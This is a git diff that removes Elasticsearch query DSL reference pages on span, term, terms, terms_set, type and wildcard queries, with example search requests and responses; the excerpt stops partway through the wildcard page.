diff --git a/docs/reference/query-dsl/span-multi-term-query.asciidoc b/docs/reference/query-dsl/span-multi-term-query.asciidoc
deleted file mode 100644
index 8a78c2ba197..00000000000
--- a/docs/reference/query-dsl/span-multi-term-query.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[query-dsl-span-multi-term-query]]
-=== Span multi-term query
-++++
-<titleabbrev>Span multi-term</titleabbrev>
-++++
-
-The `span_multi` query allows you to wrap a `multi term query` (one of wildcard,
-fuzzy, prefix, range or regexp query) as a `span query`, so
-it can be nested. Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_multi": {
-      "match": {
-        "prefix": { "user.id": { "value": "ki" } }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-A boost can also be associated with the query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_multi": {
-      "match": {
-        "prefix": { "user.id": { "value": "ki", "boost": 1.08 } }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-WARNING: `span_multi` queries will hit too many clauses failure if the number of terms that match the query exceeds the
-boolean query limit (defaults to 1024).To avoid an unbounded expansion you can set the <<query-dsl-multi-term-rewrite,
-rewrite method>> of the multi term query to `top_terms_*` rewrite. Or, if you use `span_multi` on `prefix` query only,
-you can activate the <<index-prefixes,`index_prefixes`>> field option of the `text` field instead. This will
-rewrite any prefix query on the field to a single term query that matches the indexed prefix.
-
diff --git a/docs/reference/query-dsl/span-near-query.asciidoc b/docs/reference/query-dsl/span-near-query.asciidoc
deleted file mode 100644
index 0a1aa7082fb..00000000000
--- a/docs/reference/query-dsl/span-near-query.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[query-dsl-span-near-query]]
-=== Span near query
-++++
-<titleabbrev>Span near</titleabbrev>
-++++
-
-Matches spans which are near one another. One can specify _slop_, the
-maximum number of intervening unmatched positions, as well as whether
-matches are required to be in-order. The span near query maps to Lucene
-`SpanNearQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_near": {
-      "clauses": [
-        { "span_term": { "field": "value1" } },
-        { "span_term": { "field": "value2" } },
-        { "span_term": { "field": "value3" } }
-      ],
-      "slop": 12,
-      "in_order": false
-    }
-  }
-}
---------------------------------------------------
-
-The `clauses` element is a list of one or more other span type queries
-and the `slop` controls the maximum number of intervening unmatched
-positions permitted.
diff --git a/docs/reference/query-dsl/span-not-query.asciidoc b/docs/reference/query-dsl/span-not-query.asciidoc
deleted file mode 100644
index 99814eba9d8..00000000000
--- a/docs/reference/query-dsl/span-not-query.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-[[query-dsl-span-not-query]]
-=== Span not query
-++++
-<titleabbrev>Span not</titleabbrev>
-++++
-
-Removes matches which overlap with another span query or which are
-within x tokens before (controlled by the parameter `pre`) or y tokens
-after (controlled by the parameter `post`) another SpanQuery. The span not
-query maps to Lucene `SpanNotQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_not": {
-      "include": {
-        "span_term": { "field1": "hoya" }
-      },
-      "exclude": {
-        "span_near": {
-          "clauses": [
-            { "span_term": { "field1": "la" } },
-            { "span_term": { "field1": "hoya" } }
-          ],
-          "slop": 0,
-          "in_order": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `include` and `exclude` clauses can be any span type query. The
-`include` clause is the span query whose matches are filtered, and the
-`exclude` clause is the span query whose matches must not overlap those
-returned.
-
-In the above example all documents with the term hoya are filtered except the ones that have 'la' preceding them.
-
-Other top level options:
-
-[horizontal]
-`pre`::     If set the amount of tokens before the include span can't have overlap with the exclude span. Defaults to 0.
-`post`::    If set the amount of tokens after the include span can't have overlap with the exclude span. Defaults to 0.
-`dist`::    If set the amount of tokens from within the include span can't have overlap with the exclude span. Equivalent
-            of setting both `pre` and `post`.
diff --git a/docs/reference/query-dsl/span-or-query.asciidoc b/docs/reference/query-dsl/span-or-query.asciidoc
deleted file mode 100644
index 6c0e78ab266..00000000000
--- a/docs/reference/query-dsl/span-or-query.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[[query-dsl-span-or-query]]
-=== Span or query
-++++
-<titleabbrev>Span or</titleabbrev>
-++++
-
-Matches the union of its span clauses. The span or query maps to Lucene
-`SpanOrQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_or" : {
-      "clauses" : [
-        { "span_term" : { "field" : "value1" } },
-        { "span_term" : { "field" : "value2" } },
-        { "span_term" : { "field" : "value3" } }
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-The `clauses` element is a list of one or more other span type queries.
diff --git a/docs/reference/query-dsl/span-queries.asciidoc b/docs/reference/query-dsl/span-queries.asciidoc
deleted file mode 100644
index cc14b0ee493..00000000000
--- a/docs/reference/query-dsl/span-queries.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[span-queries]]
-== Span queries
-
-Span queries are low-level positional queries which provide expert control
-over the order and proximity of the specified terms. These are typically used
-to implement very specific queries on legal documents or patents.
-
-It is only allowed to set boost on an outer span query. Compound span queries,
-like span_near, only use the list of matching spans of inner span queries in
-order to find their own spans, which they then use to produce a score. Scores
-are never computed on inner span queries, which is the reason why boosts are not
-allowed: they only influence the way scores are computed, not spans.
-
-Span queries cannot be mixed with non-span queries (with the exception of the `span_multi` query).
-
-The queries in this group are:
-
-<<query-dsl-span-containing-query,`span_containing` query>>::
-Accepts a list of span queries, but only returns those spans which also match a second span query.
-
-<<query-dsl-span-field-masking-query,`field_masking_span` query>>::
-Allows queries like `span-near` or `span-or` across different fields.
-
-<<query-dsl-span-first-query,`span_first` query>>::
-Accepts another span query whose matches must appear within the first N
-positions of the field.
-
-<<query-dsl-span-multi-term-query,`span_multi` query>>::
-Wraps a <<query-dsl-term-query,`term`>>, <<query-dsl-range-query,`range`>>,
-<<query-dsl-prefix-query,`prefix`>>, <<query-dsl-wildcard-query,`wildcard`>>,
-<<query-dsl-regexp-query,`regexp`>>, or <<query-dsl-fuzzy-query,`fuzzy`>> query.
-
-<<query-dsl-span-near-query,`span_near` query>>::
-Accepts multiple span queries whose matches must be within the specified distance of each other, and possibly in the same order.
-
-<<query-dsl-span-not-query,`span_not` query>>::
-Wraps another span query, and excludes any documents which match that query.
-
-<<query-dsl-span-or-query,`span_or` query>>::
-Combines multiple span queries -- returns documents which match any of the
-specified queries.
-
-<<query-dsl-span-term-query,`span_term` query>>::
-
-The equivalent of the <<query-dsl-term-query,`term` query>> but for use with
-other span queries.
-
-<<query-dsl-span-within-query,`span_within` query>>::
-The result from a single span query is returned as long is its span falls
-within the spans returned by a list of other span queries.
-
-
-include::span-containing-query.asciidoc[]
-
-include::span-field-masking-query.asciidoc[]
-
-include::span-first-query.asciidoc[]
-
-include::span-multi-term-query.asciidoc[]
-
-include::span-near-query.asciidoc[]
-
-include::span-not-query.asciidoc[]
-
-include::span-or-query.asciidoc[]
-
-include::span-term-query.asciidoc[]
-
-include::span-within-query.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/query-dsl/span-term-query.asciidoc b/docs/reference/query-dsl/span-term-query.asciidoc
deleted file mode 100644
index 0dac73c9f70..00000000000
--- a/docs/reference/query-dsl/span-term-query.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[query-dsl-span-term-query]]
-=== Span term query
-++++
-<titleabbrev>Span term</titleabbrev>
-++++
-
-Matches spans containing a term. The span term query maps to Lucene
-`SpanTermQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_term" : { "user.id" : "kimchy" }
-  }
-}    
---------------------------------------------------
-
-A boost can also be associated with the query:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_term" : { "user.id" : { "value" : "kimchy", "boost" : 2.0 } }
-  }
-}    
---------------------------------------------------
-
-Or :
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_term" : { "user.id" : { "term" : "kimchy", "boost" : 2.0 } }
-  }
-}    
---------------------------------------------------
diff --git a/docs/reference/query-dsl/span-within-query.asciidoc b/docs/reference/query-dsl/span-within-query.asciidoc
deleted file mode 100644
index 62a12fc7196..00000000000
--- a/docs/reference/query-dsl/span-within-query.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[[query-dsl-span-within-query]]
-=== Span within query
-++++
-<titleabbrev>Span within</titleabbrev>
-++++
-
-Returns matches which are enclosed inside another span query. The span within
-query maps to Lucene `SpanWithinQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_within": {
-      "little": {
-        "span_term": { "field1": "foo" }
-      },
-      "big": {
-        "span_near": {
-          "clauses": [
-            { "span_term": { "field1": "bar" } },
-            { "span_term": { "field1": "baz" } }
-          ],
-          "slop": 5,
-          "in_order": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `big` and `little` clauses can be any span type query. Matching
-spans from `little` that are enclosed within `big` are returned.
diff --git a/docs/reference/query-dsl/special-queries.asciidoc b/docs/reference/query-dsl/special-queries.asciidoc
deleted file mode 100644
index 06f7cc98a73..00000000000
--- a/docs/reference/query-dsl/special-queries.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[specialized-queries]]
-
-== Specialized queries
-
-This group contains queries which do not fit into the other groups:
-
-<<query-dsl-distance-feature-query,`distance_feature` query>>::
-A query that computes scores based on the dynamically computed distances
-between the origin and documents' date, date_nanos and geo_point fields.
-It is able to efficiently skip non-competitive hits.
-
-<<query-dsl-mlt-query,`more_like_this` query>>::
-This query finds documents which are similar to the specified text, document,
-or collection of documents.
-
-<<query-dsl-percolate-query,`percolate` query>>::
-This query finds queries that are stored as documents that match with
-the specified document.
-
-<<query-dsl-rank-feature-query,`rank_feature` query>>::
-A query that computes scores based on the values of numeric features and is
-able to efficiently skip non-competitive hits.
-
-<<query-dsl-script-query,`script` query>>::
-This query allows a script to act as a filter.  Also see the
-<<query-dsl-function-score-query,`function_score` query>>.
-
-<<query-dsl-script-score-query,`script_score` query>>::
-A query that allows to modify the score of a sub-query with a script.
-
-<<query-dsl-wrapper-query,`wrapper` query>>::
-A query that accepts other queries as json or yaml string.
-
-<<query-dsl-pinned-query,`pinned` query>>::
-A query that promotes selected documents over others matching a given query.
-
-include::distance-feature-query.asciidoc[]
-
-include::mlt-query.asciidoc[]
-
-include::percolate-query.asciidoc[]
-
-include::rank-feature-query.asciidoc[]
-
-include::script-query.asciidoc[]
-
-include::script-score-query.asciidoc[]
-
-include::wrapper-query.asciidoc[]
-
-include::pinned-query.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/query-dsl/term-level-queries.asciidoc b/docs/reference/query-dsl/term-level-queries.asciidoc
deleted file mode 100644
index 9ddc4e9d63f..00000000000
--- a/docs/reference/query-dsl/term-level-queries.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[[term-level-queries]]
-== Term-level queries
-
-You can use **term-level queries** to find documents based on precise values in
-structured data. Examples of structured data include date ranges, IP addresses,
-prices, or product IDs.
-
-Unlike <<full-text-queries, full-text queries>>, term-level queries do not
-analyze search terms. Instead, term-level queries match the exact terms stored
-in a field.
-
-
-[NOTE]
-====
-Term-level queries still normalize search terms for `keyword` fields with the
-`normalizer` property. For more details, see <<normalizer, `normalizer`>>.
-====
-
-[discrete]
-[[term-level-query-types]]
-=== Types of term-level queries
-
-<<query-dsl-exists-query,`exists` query>>::
-Returns documents that contain any indexed value for a field.
-
-<<query-dsl-fuzzy-query,`fuzzy` query>>::
-Returns documents that contain terms similar to the search term. {es} measures
-similarity, or fuzziness, using a
-{wikipedia}/Levenshtein_distance[Levenshtein edit distance].
-
-<<query-dsl-ids-query,`ids` query>>::
-Returns documents based on their <<mapping-id-field, document IDs>>. 
-
-<<query-dsl-prefix-query,`prefix` query>>::
-Returns documents that contain a specific prefix in a provided field.
-
-<<query-dsl-range-query,`range` query>>::
-Returns documents that contain terms within a provided range.
-
-<<query-dsl-regexp-query,`regexp` query>>::
-Returns documents that contain terms matching a
-{wikipedia}/Regular_expression[regular expression].
-
-<<query-dsl-term-query,`term` query>>::
-Returns documents that contain an exact term in a provided field.
-
-<<query-dsl-terms-query,`terms` query>>::
-Returns documents that contain one or more exact terms in a provided field.
-
-<<query-dsl-terms-set-query,`terms_set` query>>::
-Returns documents that contain a minimum number of exact terms in a provided
-field. You can define the minimum number of matching terms using a field or
-script.
-
-<<query-dsl-type-query,`type` query>>::
-Returns documents of the specified type.
-
-<<query-dsl-wildcard-query,`wildcard` query>>::
-Returns documents that contain terms matching a wildcard pattern.
-
-
-include::exists-query.asciidoc[]
-
-include::fuzzy-query.asciidoc[]
-
-include::ids-query.asciidoc[]
-
-include::prefix-query.asciidoc[]
-
-include::range-query.asciidoc[]
-
-include::regexp-query.asciidoc[]
-
-include::term-query.asciidoc[]
-
-include::terms-query.asciidoc[]
-
-include::terms-set-query.asciidoc[]
-
-include::type-query.asciidoc[]
-
-include::wildcard-query.asciidoc[]
diff --git a/docs/reference/query-dsl/term-query.asciidoc b/docs/reference/query-dsl/term-query.asciidoc
deleted file mode 100644
index 17ad147da3e..00000000000
--- a/docs/reference/query-dsl/term-query.asciidoc
+++ /dev/null
@@ -1,222 +0,0 @@
-[[query-dsl-term-query]]
-=== Term query
-++++
-<titleabbrev>Term</titleabbrev>
-++++
-
-Returns documents that contain an *exact* term in a provided field.
-
-You can use the `term` query to find documents based on a precise value such as
-a price, a product ID, or a username.
-
-[WARNING]
-====
-Avoid using the `term` query for <<text, `text`>> fields.
-
-By default, {es} changes the values of `text` fields as part of <<analysis,
-analysis>>. This can make finding exact matches for `text` field values
-difficult.
-
-To search `text` field values, use the <<query-dsl-match-query,`match`>> query
-instead.
-====
-
-[[term-query-ex-request]]
-==== Example request
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "term": {
-      "user.id": {
-        "value": "kimchy",
-        "boost": 1.0
-      }
-    }
-  }
-}
-----
-
-[[term-top-level-params]]
-==== Top-level parameters for `term`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[term-field-params]]
-==== Parameters for `<field>`
-`value`::
-(Required, string) Term you wish to find in the provided `<field>`. To return a
-document, the term must exactly match the field value, including whitespace and
-capitalization.
-
-`boost`::
-(Optional, float) Floating point number used to decrease or increase the
-<<relevance-scores,relevance scores>> of a query. Defaults to `1.0`.
-+
-You can use the `boost` parameter to adjust relevance scores for searches
-containing two or more queries.
-+
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
-
-`case_insensitive`::
-(Optional, Boolean) allows ASCII case insensitive matching of the
-value with the indexed field values when set to true. Default is false which means
-the case sensitivity of matching depends on the underlying field's mapping
-
-[[term-query-notes]]
-==== Notes
-
-[[avoid-term-query-text-fields]]
-===== Avoid using the `term` query for `text` fields
-By default, {es} changes the values of `text` fields during analysis. For
-example, the default <<analysis-standard-analyzer, standard analyzer>> changes
-`text` field values as follows:
-
-* Removes most punctuation
-* Divides the remaining content into individual words, called
-<<analysis-tokenizers, tokens>>
-* Lowercases the tokens
-
-To better search `text` fields, the `match` query also analyzes your provided
-search term before performing a search. This means the `match` query can search
-`text` fields for analyzed tokens rather than an exact term.
-
-The `term` query does *not* analyze the search term. The `term` query only
-searches for the *exact* term you provide. This means the `term` query may
-return poor or no results when searching `text` fields.
-
-To see the difference in search results, try the following example.
-
-. Create an index with a `text` field called `full_text`.
-+
---
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "full_text": { "type": "text" }
-    }
-  }
-}
-----
-
---
-
-. Index a document with a value of `Quick Brown Foxes!` in the `full_text`
-field.
-+
---
-
-[source,console]
-----
-PUT my-index-000001/_doc/1
-{
-  "full_text":   "Quick Brown Foxes!"
-}
-----
-// TEST[continued]
-
-Because `full_text` is a `text` field, {es} changes `Quick Brown Foxes!` to
-`[quick, brown, fox]` during analysis.
-
---
-
-. Use the `term` query to search for `Quick Brown Foxes!` in the `full_text`
-field. Include the `pretty` parameter so the response is more readable.
-+
---
-
-[source,console]
-----
-GET my-index-000001/_search?pretty
-{
-  "query": {
-    "term": {
-      "full_text": "Quick Brown Foxes!"
-    }
-  }
-}
-----
-// TEST[continued]
-
-Because the `full_text` field no longer contains the *exact* term `Quick Brown
-Foxes!`, the `term` query search returns no results.
-
---
-
-. Use the `match` query to search for `Quick Brown Foxes!` in the `full_text`
-field.
-+
---
-
-////
-
-[source,console]
-----
-POST my-index-000001/_refresh
-----
-// TEST[continued]
-
-////
-
-[source,console]
-----
-GET my-index-000001/_search?pretty
-{
-  "query": {
-    "match": {
-      "full_text": "Quick Brown Foxes!"
-    }
-  }
-}
-----
-// TEST[continued]
-
-Unlike the `term` query, the `match` query analyzes your provided search term,
-`Quick Brown Foxes!`, before performing a search. The `match` query then returns
-any documents containing the `quick`, `brown`, or `fox` tokens in the
-`full_text` field.
-
-Here's the response for the `match` query search containing the indexed document
-in the results.
-
-[source,console-result]
-----
-{
-  "took" : 1,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 1,
-      "relation" : "eq"
-    },
-    "max_score" : 0.8630463,
-    "hits" : [
-      {
-        "_index" : "my-index-000001",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 0.8630463,
-        "_source" : {
-          "full_text" : "Quick Brown Foxes!"
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 1/"took" : $body.took/]
---
diff --git a/docs/reference/query-dsl/terms-query.asciidoc b/docs/reference/query-dsl/terms-query.asciidoc
deleted file mode 100644
index a39fa5c0b0f..00000000000
--- a/docs/reference/query-dsl/terms-query.asciidoc
+++ /dev/null
@@ -1,249 +0,0 @@
-[[query-dsl-terms-query]]
-=== Terms query
-++++
-<titleabbrev>Terms</titleabbrev>
-++++
-
-Returns documents that contain one or more *exact* terms in a provided field.
-
-The `terms` query is the same as the <<query-dsl-term-query, `term` query>>,
-except you can search for multiple values.
-
-[[terms-query-ex-request]]
-==== Example request
-
-The following search returns documents where the `user.id` field contains `kimchy`
-or `elkbee`.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "terms": {
-      "user.id": [ "kimchy", "elkbee" ],
-      "boost": 1.0
-    }
-  }
-}
-----
-
-[[terms-top-level-params]]
-==== Top-level parameters for `terms`
-`<field>`::
-+
---
-(Optional, object) Field you wish to search.
-
-The value of this parameter is an array of terms you wish to find in the
-provided field. To return a document, one or more terms must exactly match a
-field value, including whitespace and capitalization.
-
-By default, {es} limits the `terms` query to a maximum of 65,536
-terms. You can change this limit using the <<index-max-terms-count,
-`index.max_terms_count`>> setting.
-
-[NOTE]
-To use the field values of an existing document as search terms, use the
-<<query-dsl-terms-lookup, terms lookup>> parameters.
---
-
-`boost`::
-+
---
-(Optional, float) Floating point number used to decrease or increase the
-<<relevance-scores,relevance scores>> of a query. Defaults to `1.0`.
-
-You can use the `boost` parameter to adjust relevance scores for searches
-containing two or more queries.
-
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
---
-
-[[terms-query-notes]]
-==== Notes
-
-[[query-dsl-terms-query-highlighting]]
-===== Highlighting `terms` queries
-<<highlighting,Highlighting>> is best-effort only. {es} may not
-return highlight results for `terms` queries depending on:
-
-* Highlighter type
-* Number of terms in the query
-
-[[query-dsl-terms-lookup]]
-===== Terms lookup
-Terms lookup fetches the field values of an existing document. {es} then uses
-those values as search terms. This can be helpful when searching for a large set
-of terms.
-
-Because terms lookup fetches values from a document, the <<mapping-source-field,
-`_source`>> mapping field must be enabled to use terms lookup. The `_source`
-field is enabled by default.
-
-[NOTE]
-By default, {es} limits the `terms` query to a maximum of 65,536
-terms. This includes terms fetched using terms lookup. You can change
-this limit using the <<index-max-terms-count, `index.max_terms_count`>> setting.
-
-To perform a terms lookup, use the following parameters.
-
-[[query-dsl-terms-lookup-params]]
-====== Terms lookup parameters
-`index`::
-(Required, string) Name of the index from which to fetch field values.
-
-`id`::
-(Required, string) <<mapping-id-field,ID>> of the document from which to fetch
-field values.
-
-`path`::
-+
---
-(Required, string) Name of the field from which to fetch field values. {es} uses
-these values as search terms for the query.
-
-If the field values include an array of nested inner objects, you can access
-those objects using dot notation syntax.
---
-
-`routing`::
-(Optional, string) Custom <<mapping-routing-field, routing value>> of the
-document from which to fetch term values. If a custom routing value was provided
-when the document was indexed, this parameter is required.
-
-[[query-dsl-terms-lookup-example]]
-====== Terms lookup example
-
-To see how terms lookup works, try the following example.
-
-. Create an index with a `keyword` field named `color`.
-+
---
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "color": { "type": "keyword" }
-    }
-  }
-}
-----
---
-
-. Index a document with an ID of 1 and values of `["blue", "green"]` in the
-`color` field.
-+
---
-
-[source,console]
-----
-PUT my-index-000001/_doc/1
-{
-  "color":   ["blue", "green"]
-}
-----
-// TEST[continued]
---
-
-. Index another document with an ID of 2 and value of `blue` in the `color`
-field.
-+
---
-
-[source,console]
-----
-PUT my-index-000001/_doc/2
-{
-  "color":   "blue"
-}
-----
-// TEST[continued]
---
-
-. Use the `terms` query with terms lookup parameters to find documents
-containing one or more of the same terms as document 2. Include the `pretty`
-parameter so the response is more readable.
-+
---
-
-////
-
-[source,console]
-----
-POST my-index-000001/_refresh
-----
-// TEST[continued]
-
-////
-
-[source,console]
-----
-GET my-index-000001/_search?pretty
-{
-  "query": {
-    "terms": {
-        "color" : {
-            "index" : "my-index-000001",
-            "id" : "2",
-            "path" : "color"
-        }
-    }
-  }
-}
-----
-// TEST[continued]
-
-Because document 2 and document 1 both contain `blue` as a value in the `color`
-field, {es} returns both documents.
-
-[source,console-result]
-----
-{
-  "took" : 17,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 2,
-      "relation" : "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "my-index-000001",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 1.0,
-        "_source" : {
-          "color" : [
-            "blue",
-            "green"
-          ]
-        }
-      },
-      {
-        "_index" : "my-index-000001",
-        "_type" : "_doc",
-        "_id" : "2",
-        "_score" : 1.0,
-        "_source" : {
-          "color" : "blue"
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 17/"took" : $body.took/]
---
diff --git a/docs/reference/query-dsl/terms-set-query.asciidoc b/docs/reference/query-dsl/terms-set-query.asciidoc
deleted file mode 100644
index 2abfe54d539..00000000000
--- a/docs/reference/query-dsl/terms-set-query.asciidoc
+++ /dev/null
@@ -1,229 +0,0 @@
-[[query-dsl-terms-set-query]]
-=== Terms set query
-++++
-<titleabbrev>Terms set</titleabbrev>
-++++
-
-Returns documents that contain a minimum number of *exact* terms in a provided
-field.
-
-The `terms_set` query is the same as the <<query-dsl-terms-query, `terms`
-query>>, except you can define the number of matching terms required to
-return a document. For example:
-
-* A field, `programming_languages`, contains a list of known programming
-languages, such as `c++`, `java`, or `php` for job candidates. You can use the
-`terms_set` query to return documents that match at least two of these
-languages.
-
-* A field, `permissions`, contains a list of possible user permissions for an
-application. You can use the `terms_set` query to return documents that
-match a subset of these permissions.
-
-[[terms-set-query-ex-request]]
-==== Example request
-
-[[terms-set-query-ex-request-index-setup]]
-===== Index setup
-In most cases, you'll need to include a <<number, numeric>> field mapping in
-your index to use the `terms_set` query. This numeric field contains the
-number of matching terms required to return a document.
-
-To see how you can set up an index for the `terms_set` query, try the
-following example.
-
-. Create an index, `job-candidates`, with the following field mappings:
-+
---
-
-* `name`, a <<keyword, `keyword`>> field. This field contains the name of the
-job candidate.
-
-* `programming_languages`, a <<keyword, `keyword`>> field. This field contains
-programming languages known by the job candidate.
-
-* `required_matches`, a <<number, numeric>> `long` field. This field contains
-the number of matching terms required to return a document.
-
-[source,console]
-----
-PUT /job-candidates
-{
-  "mappings": {
-    "properties": {
-      "name": {
-        "type": "keyword"
-      },
-      "programming_languages": {
-        "type": "keyword"
-      },
-      "required_matches": {
-        "type": "long"
-      }
-    }
-  }
-}
-----
-// TESTSETUP
-
---
-
-. Index a document with an ID of `1` and the following values:
-+
---
-
-* `Jane Smith` in the `name` field.
-
-* `["c++", "java"]` in the `programming_languages` field.
-
-* `2` in the `required_matches` field.
-
-Include the `?refresh` parameter so the document is immediately available for
-search.
-
-[source,console]
-----
-PUT /job-candidates/_doc/1?refresh
-{
-  "name": "Jane Smith",
-  "programming_languages": [ "c++", "java" ],
-  "required_matches": 2
-}
-----
-
---
-
-. Index another document with an ID of `2` and the following values:
-+
---
-
-* `Jason Response` in the `name` field.
-
-* `["java", "php"]` in the `programming_languages` field.
-
-* `2` in the `required_matches` field.
-
-[source,console]
-----
-PUT /job-candidates/_doc/2?refresh
-{
-  "name": "Jason Response",
-  "programming_languages": [ "java", "php" ],
-  "required_matches": 2
-}
-----
-
---
-
-You can now use the `required_matches` field value as the number of
-matching terms required to return a document in the `terms_set` query.
-
-[[terms-set-query-ex-request-query]]
-===== Example query
-
-The following search returns documents where the `programming_languages` field
-contains at least two of the following terms:
-
-* `c++`
-* `java`
-* `php`
-
-The `minimum_should_match_field` is `required_matches`. This means the
-number of matching terms required is `2`, the value of the `required_matches`
-field.
-
-[source,console]
-----
-GET /job-candidates/_search
-{
-  "query": {
-    "terms_set": {
-      "programming_languages": {
-        "terms": [ "c++", "java", "php" ],
-        "minimum_should_match_field": "required_matches"
-      }
-    }
-  }
-}
-----
-
-[[terms-set-top-level-params]]
-==== Top-level parameters for `terms_set`
-
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[terms-set-field-params]]
-==== Parameters for `<field>`
-
-`terms`::
-+
---
-(Required, array of strings) Array of terms you wish to find in the provided
-`<field>`. To return a document, a required number of terms must exactly match
-the field values, including whitespace and capitalization.
-
-The required number of matching terms is defined in the
-`minimum_should_match_field` or `minimum_should_match_script` parameter.
---
-
-`minimum_should_match_field`::
-(Optional, string) <<number, Numeric>> field containing the number of matching
-terms required to return a document.
-
-`minimum_should_match_script`::
-+
---
-(Optional, string) Custom script containing the number of matching terms
-required to return a document.
-
-For parameters and valid values, see <<modules-scripting, Scripting>>.
-
-For an example query using the `minimum_should_match_script` parameter, see
-<<terms-set-query-script, How to use the `minimum_should_match_script`
-parameter>>.
---
-
-[[terms-set-query-notes]]
-==== Notes
-
-[[terms-set-query-script]]
-===== How to use the `minimum_should_match_script` parameter
-You can use `minimum_should_match_script` to define the required number of
-matching terms using a script. This is useful if you need to set the number of
-required terms dynamically.
-
-[[terms-set-query-script-ex]]
-====== Example query using `minimum_should_match_script`
-
-The following search returns documents where the `programming_languages` field
-contains at least two of the following terms:
-
-* `c++`
-* `java`
-* `php`
-
-The `source` parameter of this query indicates:
-
-* The required number of terms to match cannot exceed `params.num_terms`, the
-number of terms provided in the `terms` field.
-* The required number of terms to match is `2`, the value of the
-`required_matches` field.
-
-[source,console]
-----
-GET /job-candidates/_search
-{
-  "query": {
-    "terms_set": {
-      "programming_languages": {
-        "terms": [ "c++", "java", "php" ],
-        "minimum_should_match_script": {
-          "source": "Math.min(params.num_terms, doc['required_matches'].value)"
-        },
-        "boost": 1.0
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/query-dsl/type-query.asciidoc b/docs/reference/query-dsl/type-query.asciidoc
deleted file mode 100644
index f863a3dd0ee..00000000000
--- a/docs/reference/query-dsl/type-query.asciidoc
+++ /dev/null
@@ -1,18 +0,0 @@
-[[query-dsl-type-query]]
-=== Type Query
-
-deprecated[7.0.0,Types and the `type` query are deprecated and in the process of being removed. See <<removal-of-types>>.]
-
-Filters documents matching the provided document / mapping type.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "type": {
-      "value": "_doc"
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/query-dsl/wildcard-query.asciidoc b/docs/reference/query-dsl/wildcard-query.asciidoc
deleted file mode 100644
index ae84c60abbc..00000000000
--- a/docs/reference/query-dsl/wildcard-query.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[[query-dsl-wildcard-query]]
-=== Wildcard query
-++++
-<titleabbrev>Wildcard</titleabbrev>
-++++
-
-Returns documents that contain terms matching a wildcard pattern.
-
-A wildcard operator is a placeholder that matches one or more characters. For
-example, the `*` wildcard operator matches zero or more characters. You can
-combine wildcard operators with other characters to create a wildcard pattern.
-
-[[wildcard-query-ex-request]]
-==== Example request
-
-The following search returns documents where the `user.id` field contains a term
-that begins with `ki` and ends with `y`. These matching terms can include `kiy`,
-`kity`, or `kimchy`.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "wildcard": {
-      "user.id": {
-        "value": "ki*y",
-        "boost": 1.0,
-        "rewrite": "constant_score"
-      }
-    }
-  }
-}
-----
-
-[[wildcard-top-level-params]]
-==== Top-level parameters for `wildcard`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[wildcard-query-field-params]]
-==== Parameters for `<field>`
-`value`::
-(Required, string) Wildcard pattern for terms you wish to find in the provided
-`<field>`.
-+
---
-This parameter supports two wildcard operators:
-
-* `?`, which matches any single character
-* `*`, which can match zero or more characters, including an empty one
-
-WARNING: Avoid beginning patterns with `*` or `?`. This can increase
-the iterations needed to find matching terms and slow search performance.
---
-
-`boost`::
-(Optional, float) Floating point number used to decrease or increase the
